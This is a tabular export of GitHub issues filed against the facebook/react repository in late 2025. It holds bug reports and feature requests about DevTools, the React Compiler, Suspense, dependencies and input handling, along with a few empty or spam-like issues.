facebook/react,3425903925,I can't use React DevTools,"I recently installed React Developer Tools and I could not use it. I found out about it in my JavaScript Console and went ahead to install from this link by [React](https://react.dev/learn/react-developer-tools). Since I was using Google Chrome on Microsoft Windows 11 Home Single Language [Version 24H2] (OS Build 26100,4946) {Insider Version} I went and clicked on the button saying Install for Chrome ``` <a href=""https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi?hl=en"" target=""_blank"" rel=""nofollow noopener noreferrer"" class=""inline text-link dark:text-link-dark border-b border-link border-opacity-0 hover:border-opacity-100 duration-100 ease-in transition leading-normal"">Install for <strong class=""font-bold"">Chrome</strong></a> ``` and installed it, from [here](https://chromewebstore.google.com/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi?hl=en) . Later on, when I tested on my own app that I was building. It did not work and showed a error saying [This page doesn’t appear to be using React.
If this seems wrong, follow the [troubleshooting instructions](https://github.com/facebook/react/tree/main/packages/react-devtools#the-react-tab-doesnt-show-up).] Directing me here still it did not work. And, For Your Information I was using http://localhost:5173


Thank You

Reshabh Ohall
(12 y/o, India)

<img width=""1919"" height=""1079"" alt=""Image"" src=""https://github.com/user-attachments/assets/bf604acd-0a44-480e-92a3-384dd5... [TRUNCATED]",,2025-09-17T11:34:55Z,2025-12-12T04:39:36Z,3
facebook/react,3417689589,increase NESTED_UPDATE_LIMIT?,"I'm building an app using mediapipe that requires high fps.
I keep getting error ""Maximum update depth exceeded"" and to my understanding that while this is used to detect infinite loops, it seems in my case I really do need higher update depth.

it used to be 1000 but lowered to 50. since my app reaches 60-70 fps I encounter this error every second, making the entire app lag.
is there a reason not to increase this to let's say 240 or so? or at the very least configurable.

I'm not proficient in react my app was basically vibe coded so I'm happy to learn of ways to circumvent this issue another way, but neither the ai nor stackoverflow or google provided answers.

https://github.com/facebook/react/blob/47664deb8e981ec0425731495be1c5826ce90956/packages/react-reconciler/src/ReactFiberWorkLoop.js#L695",,2025-09-15T12:11:41Z,2025-09-17T09:53:01Z,6
facebook/react,3417423042,666,666,,2025-09-15T10:55:38Z,2025-09-15T16:47:19Z,0
facebook/react,3417293736,en-dash in filenames,"There are two files which have an `–` (en-dash) in their fliename instead of the normal `-`.
The offending files are:
https://github.com/facebook/react/blob/main/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/functionexpr%E2%80%93conditional-access.expect.md
and
https://github.com/facebook/react/blob/main/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/functionexpr%E2%80%93conditional-access.js

I found this because I'm working on a tool that parses git history and when I decided to test it on the react codebase I got some very cryptic errors because the en-dashes in those filenames had gotten replaced with \342\200\223. My tool can deal with en-dashes in the filenames now but I'm still reporting this because filenames should follow a convention and en-dashes are not part of that convention.","Status: Unconfirmed,Resolution: Stale",2025-09-15T10:20:32Z,2025-12-21T11:04:46Z,2
facebook/react,3416059239,Bug: Migrating from eslint-plugin-react-compiler to eslint-plugin-react-hooks failed.,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:
`""react"": ""^19.1.1""`

## Steps To Reproduce

1. Install `eslint@9.35.0` and `eslint-plugin-react-hooks@6.0.0-rc.2`.
2. Create a flat config file `eslint.config.js`:



<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:
 ```js
import js from ""@eslint/js"";
import pluginReact from ""eslint-plugin-react"";
import reactHooks from ""eslint-plugin-react-hooks"";
import { defineConfig } from ""eslint/config"";
import tseslint from ""typescript-eslint"";
import gitignore from ""eslint-config-flat-gitignore"";
import nextPlugin from ""@next/eslint-plugin-next"";

export default defineConfig([
  gitignore(),
  { settings: { react: { version: ""detect"" } } },
  {
    files: [""packages/**/*.{ts,tsx}""],
    extends: [
      pluginReact.configs.flat.recommended,
      pluginReact.configs.flat[""jsx-runtime""],
      reactHooks.configs[""flat/recommended""],
    ],
    rules: {
      ""react-hooks/exhaustive-deps"": ""off"",
      ""react-hooks/react-compiler"": ""error"",
    },
  }
]);

```

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  reposit... [TRUNCATED]",Status: Unconfirmed,2025-09-15T02:41:42Z,2025-09-15T03:00:40Z,2
facebook/react,3414627523,Bug: Controlled input resets unexpectedly with Japanese IME (full-width alphanumeric) on Windows 10,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

Hello everyone, I need your help.
I have a React component with a custom `onChange `handler that only allows numeric input (both half-width and full-width in Japanese).

When I type **full-width characters** using Microsoft IME, the input unexpectedly **loses the old value**.
I don’t understand why this happens, because I don’t call `setValue `when the input is not numeric.

This issue only occurs on **Windows 10**.

React version:
- React 18.2.0
- Window 10 Pro 22H2

## Steps To Reproduce

1. Change system input method to Japanese (Microsoft IME)
2. Select Full-width Alphanumeric
3. Enter some text. Example ""hello""

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://codesandbox.io/p/sandbox/nmjj5j

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcv... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-09-14T05:59:56Z,2025-12-30T08:08:09Z,4
facebook/react,3414480142,Bug: Expected static flag was missing,"Opened the logs of my React application and saw this warning: **_Warning: Internal React error: Expected static flag was missing. Please notify the React team._**

I don't see any clear error in the app. And don't know how to reproduce this (Don't know what caused). Only opened the issue because the logs asked to. Feel free to ask questions and I'll do my best to help.

React version: ^18.3.1

<img width=""1012"" height=""841"" alt=""Image"" src=""https://github.com/user-attachments/assets/2ae7eeea-21ad-41ef-b42e-ea3148a99e13"" />","Status: Unconfirmed,Resolution: Stale",2025-09-14T02:51:11Z,2025-12-20T04:09:34Z,2
facebook/react,3413608472,Bug: Anonymizer Script Crashes and Inconsistent Behavior (compiler/scripts/anonymize.js),"# Bug Report: Anonymizer Script Crashes and Inconsistent Behavior

## Description
The anonymizer script can crash or behave unexpectedly in several cases:

- Throws an error for JSXNamespacedName instead of handling it gracefully:

JSXNamespacedName(path) {
  throw error('TODO: handle JSXNamespacedName');
}

- Duplicate logic in identifier/literal anonymization increases risk of bugs:

Identifier(path) {
  const name = path.node.name;
  if (BUILTIN_HOOKS.has(name) || GLOBALS.has(name)) return;
  // repeated logic for generating new names
}

- Random string generation for literals is inconsistent:

StringLiteral(path) {
  let string = '';
  while (string.length < value.length) {
    string += String.fromCharCode(Math.round(Math.random() * 58) + 65);
  }
  path.node.value = string;
}

- File reading or parsing errors are uncaught:

text = fs.readFileSync(file, 'utf8');

## Expected Behavior
Script should handle all JSX nodes safely, generate consistent anonymized identifiers/literals, and provide clear error messages.

## Actual Behavior
Crashes on certain JSX nodes, inconsistent anonymized output, and uncaught errors when reading files or stdin.

## Environment
- Node.js version: [v20.19.2]
- OS: [debian 13]
",Status: Unconfirmed,2025-09-13T14:31:28Z,2025-09-13T15:32:30Z,2
facebook/react,3401575412,"Bug: New use hook with Promsie is not resolving, wrapped in Suspense it always shows fallback","When using following code:
```
function App() {
    return (
        <>
            <Suspense fallback=""Is loading..."">
                <AsyncComponent title=""Main app async component"" />
            </Suspense>
            {/* <ActivityExample /> */}
        </>
    )
}

export default App

function AsyncComponent({ title }: { title: string }) {
    const data = use<string>(
        new Promise((resolve) => {
            console.log(title, 'Starting the promise in async component')
            setTimeout(() => {
                resolve('foo')
            }, 1000)
        })
    )
    return (
        <>
            <h1>{title} (check logs related to this)</h1>
            <div>Async data: {data}</div>
        </>
    )
}
```
In logs in browser i can see promise is starting over and over and `Suspense` not resolving and showing only fallback.

It works however in version of react `19.0.0-canary-cb151849e1-20240424`

React version: 0.0.0-experimental-6b70072c-20250909 (latest experimental)

## Steps To Reproduce

1. Run the pasted code with react with 
    ```
    ""eslint-plugin-react-hooks"": ""^0.0.0-experimental-6b70072c-20250909"",
    ""react"": ""^0.0.0-experimental-6b70072c-20250909"",
    ""react-dom"": ""^0.0.0-experimental-6b70072c-20250909"",
    ```

Link to code example:

https://github.com/mturczyn/react-samples/tree/main/react-19-beta

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example t... [TRUNCATED]",Status: Unconfirmed,2025-09-10T08:57:34Z,2025-09-10T12:05:51Z,0
facebook/react,3393978569,[Compiler Bug]: Modifying a value returned from a hook is not allowed.,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAyngIZ4IEC+BAZjBBgQOQwJVx4cBuADoA7TDnxESZAIJYsAETRgsNOAAsGzVuw4A6PQHoDhsHlwJD6iBADWYQaPG5CxMABs0iLSzacTJmYWpp6IjiKiCAAeEoQAJghMVFDuhExQInxoECIEAGJo7ghgABQAlESiBARwOWYEccqqeBoEALzSCHKKTWrq5cK5NXWEANpmNAgANARkeJSTALrtnQu0JQAMZYNVBNx4sLklu9UAPI0AbgB8J9UEp2giWFB4t3cEeACeWAhtQiBMQoIf5vO45ADC6ioIgA5r9gCUEBcECI8BU2ldKkN3u80EwCIjkai9NQYHC8HpAUUwAB+PRFWF4dQVYCgnENXotfoeLwIPS8PDZERgPRzApFAAqEAAqlh3BAqHESqMDHokSiKaTyZSgWBFmVtmycYZDAQ8SRMmwMBqEHEPuplARPCJpgQRBBhtggTACAgYKwYGAje8TbMEPNqOsSmB0ZiwAQANQEFUGdXErXhnXUxb0lEwpmG7Hsu5pzVUMmZi5UdxQOgdDjhYt3ehG+gtovvDApQVy4EdgiGG5F06GS5D6qF9sgKYgWoiQEwlAgED0IA

### Repro steps

```js
import { useState } from 'react';
import { useAppDispatch } from '../../store/hooks';
import { slice } from '../../store/slice';

export default function Files() {
  const dispatch = useAppDispatch();
  const [state, setState] = useState(0);

  return (
    <div>
      <input
        type=""file""
        onChange={(event) => {
          if (event.target.files?.length) {
            dispatch(s... [TRUNCATED]","Type: Bug,Component: React Compiler",2025-09-08T12:23:18Z,2025-09-09T21:09:01Z,4
facebook/react,3392543572,"const App = () => {     const [isHovered, setIsHovered] = useState(false);     const ref = useRef();     useEffect(() => {         /* [...] */     }, [{ ref }]); }","> I think I understand why it behaves differently. What I have is basically:
> ```js
> const App = () => {
>     const [isHovered, setIsHovered] = useState(false);
>     const ref = useRef();
>     useEffect(() => {
>         /* [...] */
>     }, [{ ref }]);
> }
> ```
> 
> In the unoptimized version, every time the hover state changes it triggers a rerender, which creates a new `{ ref }` object, which triggers the effect.
> In the optimized version, the `{ ref }` object is memoized (as `ref` never changes), so the effect is never retriggered (and the position of the hover text is not updated).
> 
> So I guess the issue is that I’m using an effect incorrectly, but I still wonder if it’s something the compiler should be able to detect and skip the compilation of that component? 

 _Originally posted by @guillaumebrunerie in [#33032](https://github.com/facebook/react/issues/33032#issuecomment-2832032022)_",,2025-09-08T04:25:14Z,2025-09-08T06:22:19Z,0
facebook/react,3392001899,Bug: webview tag not properly rendering allowpopups boolean attribute?,"React version: v18.2.0

## Steps To Reproduce

Setup a \<webview\> element and add an allowpopups={true} and you would expect this allowpopups element to be added to the rendered element. It is not. 

### Code: 
<img width=""388"" height=""163"" alt=""Image"" src=""https://github.com/user-attachments/assets/a1bc94d0-206e-4920-b0f2-814d15d962ec"" />

### Rendered Elements from Devtools:
<img width=""593"" height=""94"" alt=""Image"" src=""https://github.com/user-attachments/assets/b1d0bad3-fbb1-47d3-ba3a-228729d9a591"" />

### The WebViewHTMLAttributes Interface 

<img width=""596"" height=""343"" alt=""Image"" src=""https://github.com/user-attachments/assets/9fef61fb-d1de-4e08-a72b-2edf46f643a5"" />

## Example Repo

https://github.com/halo3consulting/react-webview-allowpopups-attribute-example

```
git clone https://github.com/halo3consulting/react-webview-allowpopups-attribute-example
cd react-webview-allowpopups-attribute-example
npm install
npm run dev
```

Expand the dev-tools elements to look at the rendered webview. You can see that the allowpopups element is not there. 

## The current behavior

The webview element does not render with the allowpopups attribute when the value is true. 

## The expected behavior

The webview element does render with the allow popups attribute. 
","Status: Unconfirmed,Resolution: Stale",2025-09-07T21:03:26Z,2025-12-15T13:18:25Z,6
facebook/react,3391405265,"Code khó đọc quá, đọc xong thấy muốn khóc… Wow, Your code is so clean and elegant!","<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-09-07T09:24:57Z,2025-09-07T09:25:39Z,0
facebook/react,3390825643,Expose Bluesky account to the Fediverse,"On https://react.dev/blog, the [@react.dev](https://bsky.app/profile/react.dev) Bluesky account is mentioned. This account can trivially be made available to Mastodon and other Fediverse users [via Bridgy Fed](https://fed.brid.gy/login). (For example, Dan Abramov has done so - you can view his posts [here in a Mastodon client](https://phanpy.social/#/fosstodon.org/a/112446034690680609).)

Would you consider doing so for React? Would be great for Fediverse users to be able to stay up-to-date where we already are :)",Status: Unconfirmed,2025-09-06T20:03:15Z,2025-09-06T20:05:20Z,1
facebook/react,3390470624,Bug: Different Behaivor between useTransition and useDeferredValue,"i spot the difference in how useTransition and useDeferredValue being interrupted by high priority state 

when i use useTransition and the transition is on going 
and trying to update any other state (that's not in transition) it interrupt the Transition as expected but after couple of seconds of constantly update the state the transition somehow block the ui and update the state like it's updated synchronously


and here is simple the code: https://codesandbox.io/p/sandbox/9hvkwd

when i click on the Post's tab and then quickly before the transition finished constantly update the counter 
after couple of seconds the transition will block the ui untill it's finished and painted


but in the useDefferedValue when i interrupt the rendering that attach with the useDeferred it will ALWAYS be interrupted unill i stop typing for example (and that's the expected behavior) then it'll be updated if there is not any high priority stuff going on","Status: Unconfirmed,Resolution: Stale",2025-09-06T16:27:00Z,2026-01-02T11:05:31Z,8
facebook/react,3387753859,Bug: Potential React 19.1.1 regression bug (ISO date strings in nested objects),"
React 19.1.1 has a potential regression bug where ISO date strings in object arrays cause ref handling errors during prop processing, manifesting as ""Cannot read properties of undefined (reading 'ref')"" errors in third-party libraries.

When passing props containing arrays of objects with ISO date strings to React components, React 19.1.1's internal prop processing corrupts its ref handling mechanism. This causes downstream ref access errors in third-party libraries like @restart/ui (used by react-bootstrap).

This was found in a Next.js application (Next 15.3.4) and the bug occurred in deployed/built environments but not in development environments.


React version: 19.1.1

## Steps To Reproduce

1. Create a React component that receives props containing an array of objects with ISO date strings
2. Upgrade to React 19.1.1
3. Render the component with data containing ISO dates
4. Observe ref handling errors

```
  // This data structure causes the bug:
const problematicData = {
  dataArray: [
    {
      id: 1,
      date: ""2024-08-27T00:00:00.000+0000"", // ISO date string
    },
    {
      id: 2,
      date: ""2024-09-26T00:00:00.000+0000"", // ISO date string
    }
    // ... more entries with ISO dates
  ]
};

// Component that fails:
function MyComponent({ data }) {
  return <div>{/* any content */}</div>;


// This triggers the bug:
<MyComponent data={problematicData} />
```

## The current behavior
Components with props passed that contain certain kinds of ISO date code... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-09-05T14:25:14Z,2025-12-11T21:06:09Z,6
facebook/react,3384568121,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-09-04T16:55:37Z,2025-09-04T17:11:39Z,0
facebook/react,3384196642,Bug: jsdom issues with React 19.1.1,"When using testing-library / jsdom, the special characters created by getId break nwsapi, which therefore breaks usages of `screen.findByRole`. Fortunately, #33422 already fixes this issue, but is unreleased so far as I can tell. Please release it soon, thank you.","Status: Unconfirmed,Resolution: Stale",2025-09-04T15:07:22Z,2025-12-11T06:09:19Z,2
facebook/react,3379768338,[Compiler]: Invocation of hook at specific position breaks memoization,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAggBQAOMEFYAlEcADrFFyFg5FRgIyYBDALYIwRALxEqNMADoefOUIEUyCmBIB83XjHm7BIugG4WLIkQD0logElMANwhwB+QkQhoiOABZ4xPhAQANZErt5+YhQQYHhuxC4KYuqGokQiQhB4AF6uBMQ4EEQARjAIAsGy5lY2tl4AntBsEEIimFxxHlBcEBqZDghEnQLFEAM6fKlivSUIADYQAO5EYIFQcwAmAMqBiwA01dYRCMQpwmn+6QiZOQgbYWIIAB4UCLh3VawKWy0IvniYADmZDoZlY7EwnBWa02OyWEhWvwAYlhcPk1AZzvRTKxqmUcLBiKtoLDdkQAPxEAA8ACEJvwseJgGcRGAAL5WbTIIiYdZzHFslggPYgCFoPCAlAgEBsoA

### Repro steps

Invocation of hook at a certain position in the render function breaks memoization:

```javascript
function A(props) {
  const usernames = props.users.map(user => user.username);

  // Invocation of this hook at this position causes usernames memoization to break.
  // If you comment it out or move it above usernames or below shouldShow,
  // then usernames is memoized as expected.
  useSomething()

  const shouldShow = someFunction(usernames);
  
  return shouldShow ? <B usernames={usernames} /> : null;
}
```

### How often does this bug happen?

Every time

### What version of React are you usin... [TRUNCATED]","Component: React Compiler,Resolution: Stale",2025-09-03T12:58:39Z,2025-12-11T06:09:20Z,6
facebook/react,3379120718,Bug: Output,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2025-09-03T09:40:02Z,2026-04-25T00:39:38Z,4
facebook/react,3378549316,eslint-plugin-react-hooks needs dependency on zod ^3.25.0 or later,"https://github.com/facebook/react/blob/ac3e705a18696168acfcaed39dce0cfaa6be8836/packages/eslint-plugin-react-hooks/package.json#L46

eslint-plugin-react-hooks currently has these dependencies:

```json
  ""dependencies"": {
    ...
    ""zod"": ""^3.22.4"",
    ""zod-validation-error"": ""^3.0.3""
  },
```

More recent versions of zod-validation-plugin since 3.5.3 (matched by ""^3.0.3"" above) have a peer-dependency requirement for `""zod"": ""^3.25.0 || ^4.0.0""`, and they are internally using the zod/v3 import introduced by zod 3.25.0.

eslint-plugin-react-hooks should change its dependencies to:

```json
    ""zod"": ""^3.25.0"",
    ""zod-validation-error"": ""^3.5.3""
```

Or maybe go all the way to the latest versions of both packages.",Resolution: Stale,2025-09-03T06:52:57Z,2026-04-12T20:11:19Z,7
facebook/react,3373042107,[Compiler Bug]: `TSInstantiationExpression` as default value in parameter list,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAEwQDMBDKAG2wCUENCYB5AB2wEtNcBeXAHgBVcCAB7Za+MLgDSCAJ4A+ABQAdDLlxMYEJmGS4AwhAC2TTLWwAFTdp7YZTBBCK4AygnII42Zm0z85cgBoVAEouOV5Xd09vdlUAa1lOYA0tMAA6ADcScigEAF9cYDTilO0CgHo5AG4VFWETGDx0LDxIjzxufkERMQlpeQVgFTUtHywg1VwYMQRGFliuAmIySho6WZjfPkDh3CychAmRjD0ACxIMAHNDlTzdIcnR2J1cTYw-AG0AXRrJ6fW5mMAPy6BSlF4GYymDAWKxgGx2BxONrReZbfyhTjhGgkTwAUXchjMvzU+1yINwfBJuEwZwu11BZIQuj4mPCGQgrHwvzybMKuygYAQeKIRHaCgUfIeajUzUg7jS5AglwU-3ob2C1LyAVwHzVGzRGC+wVqfwQ2FgqgwFHIPN+IDyQA

### Repro steps

Use a `TSInstantiationExpression` as default value in parameter list.

```
Todo: (BuildHIR::node.lowerReorderableExpression) Expression type `TSInstantiationExpression` cannot be safely reordered
```

### How often does this bug happen?

Every time

### What version of React are you using?

React Compiler Playground

### What version of React Compiler are you using?

React Compiler Playground","Component: React Compiler,Compiler: todo",2025-09-01T15:11:49Z,2026-01-26T05:06:27Z,7
facebook/react,3372884230,Bug: Error: Expected a suspended thenable. digest: '2227452506' and '1572604020',"🖐️ i have searched for the [keyword](https://github.com/search?q=repo%3Afacebook%2Freact+2227452506+Expected+a+suspended+thenable&type=issues) 'Expected a suspended thenable 2227452506' and '1572604020' in `github/nextjs` and `github/react` issues and did not find any duplicate issues

<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

next.config.ts:

```tsx
const nextConfig: NextConfig = {
  experimental: {
    cacheComponents: true,
    reactCompiler: true,
    useCache: true,
    browserDebugInfoInTerminal: true,
    devtoolSegmentExplorer: true,
    globalNotFound: true,
  },
  rewrites: async () => {
    return [
      {
        source: '/',
        destination: '/calendar',
      },
    ]
  },
}
```

React version:
- 👉 ""react"": ""19.1.1"",
- 👉 ""react-dom"": ""19.1.1"",
- 👉 ""next"": ""15.5.1-canary.22"",

## Steps To Reproduce

- 🖐️ have used `--turbopack` flag
- 🖐️ [have used searchParams.q in page.tsx](https://github.com/aqzhyi/onlywatch.tw/blob/562453202d175d0e5865aaed90402eb099497636/%40apps/onlywatch.tw/src/app/(main)/calendar/page.tsx#L20)
- 🖐️ [have used 'use cache' in a function{findManyEvents} that using supabase](https://github.com/aqzhyi/onlywatch.tw/blob/562453202d175d0e5865aaed90402eb099497636/%40apps/onlywatch.tw/src/features/jin10/db/findManyEvents.ts#L35-L36)
- 🖐️ [have used 'use ca... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-09-01T14:18:05Z,2025-12-08T18:08:26Z,6
facebook/react,3370273537,Bug:,"⨯ [Error: Expected a suspended thenable. This is a bug in React. Please file an issue.] {
  digest: '1013962398'
}

React version: ""react"": ""19.1.0"",""react-dom"": ""19.1.0"",""next"": ""15.4.4"",

failed to pipe response – This usually happens in server-side rendering (SSR) with frameworks like Next.js. React tried to stream HTML to the client but ran into a problem with a component that should suspend (like a Suspense or use async call).

Expected a suspended thenable – React was expecting a Promise-like object to suspend rendering, but it got something else. Essentially, a component is not returning what React expects for a suspended state.
","Status: Unconfirmed,Resolution: Stale",2025-08-31T13:41:14Z,2025-12-08T18:08:28Z,2
facebook/react,3369198361,[Enhancement] Add option to prevent fallback to client-side execution when using `use()`,"> Note: **SORRY IF I CREATED USING BUG REPORT TEMPLATE, PLEASE CORRECT ME THE TEMPLATE I SHOULD USE IF I AM WRONG, because I can't find a template named ""Feature Request"" :(((**

> **Issue Type:** Enhancement / Feature Request

Currently, when using `use()` in React server components, if a server-side action fails or is unavailable, it may fall back to executing on the client side. I propose adding a parameter or option that allows developers to **disallow this fallback**, ensuring that certain actions always remain server-only.

This would be useful in scenarios where:

* Sensitive operations must never execute on the client.
* Server-specific resources or data are required.
* Consistency and security need to be enforced.

**Proposed Behavior:**

* Add a boolean parameter (e.g., `allowClientFallback = true`) to `use()`.
* When set to `false`, `use()` should throw an error if the server action is unavailable, instead of falling back to client-side execution.

**Example:**

```js
const data = use(fetchServerData, { allowClientFallback: false });
```

**Benefits:**

* Prevent accidental execution of server-only logic on the client.
* Improve security and predictability of server components.
* Give developers explicit control over fallback behavior.
","Status: Unconfirmed,Resolution: Stale",2025-08-30T14:55:26Z,2026-03-11T06:20:46Z,4
facebook/react,3366441708,React 19.1.1 slows down rendering (~5s) with DevTools open and Playwright headful tests,"
**Environment:**
- React version: 19.1.1
- React-DOM version: 19.1.1
- Browser: Chrome 116 (or latest)
- OS: Windows 11 / MacOS 14 / Linux Ubuntu 22.04

**Description**
Upgrading from React 19.0.0 to 19.1.1 causes significant rendering delays (~5 seconds) when Chrome DevTools is open.

**Steps to Reproduce**
1. Create a simple React component.
2. Upgrade to React 19.1.1 / React-DOM 19.1.1.
3. Open Chrome DevTools.
4. Observe rendering delay (~5 seconds).

**Expected behavior**
- Components render immediately (<1 second) regardless of DevTools being open.

**Actual behavior**
- Rendering takes ~5 seconds when DevTools is open.

**Additional context / Logs / Screenshots**
- Include Chrome Performance profile screenshots if available.
- Any console warnings or logs.
- Minimal reproduction code: (optionally link a Codesandbox or GitHub repo)

**Notes**
- Downgrading to React 19.0.0 resolves the slowdown.
- Problem seems related to DevTools interaction with React 19.1.1.","Status: Unconfirmed,Resolution: Stale",2025-08-29T11:00:01Z,2026-01-12T15:08:08Z,11
facebook/react,3366001140,"[DevTools Bug] Could not find node with id ""250"" in commit tree","### Website or app

react-devtools

### Repro steps

- Start Profiler
- Interact with the component
- Stop Profiler
- Navigate from the ""Flamegraph"" to ""Ranked"" tab

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Could not find node with id ""250"" in commit tree

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1225057
    at Map.forEach (<anonymous>)
    at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1225006
    at he.getRankedChartData (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1225519)
    at CommitRankedAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1475807)
    at renderWithHooks (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:66690)
    at updateFunctionComponent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:96942)
    at beginWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:110959)
    at performUnitOfWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:182534)
    at workLoopSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:182390)
```

### Error component stack (automated)

```text
at CommitRankedAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-08-29T08:38:04Z,2026-02-07T22:13:09Z,2
facebook/react,3365334109,Add developer tools integration,"**Priority:** High

**Description:**
Add developer tools integration

**Type:** Custom Instruction

---
*Created by SWE-agent with custom instructions*",,2025-08-29T03:39:52Z,2025-08-29T04:23:00Z,0
facebook/react,3365334093,Implement error boundary improvements,"**Priority:** High

**Description:**
Implement error boundary improvements

**Type:** Custom Instruction

---
*Created by SWE-agent with custom instructions*",,2025-08-29T03:39:51Z,2025-08-29T04:23:06Z,0
facebook/react,3365334075,Add performance monitoring hooks,"**Priority:** High

**Description:**
Add performance monitoring hooks

**Type:** Custom Instruction

---
*Created by SWE-agent with custom instructions*",,2025-08-29T03:39:49Z,2025-08-29T04:23:12Z,0
facebook/react,3364096934,Update CodeSandbox CI to Node 20 to match .nvmrc,"### Website or app

https://github.com/facebook/react

### Repro steps

1. Check the repository’s `.nvmrc` file — it specifies Node 20.
2. Check `.codesandbox/ci.json` — it currently specifies Node 18.
3. This mismatch may cause builds in CodeSandbox CI to use an older Node version than intended.

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```",Type: Enhancement,2025-08-28T17:17:46Z,2025-08-28T22:33:13Z,0
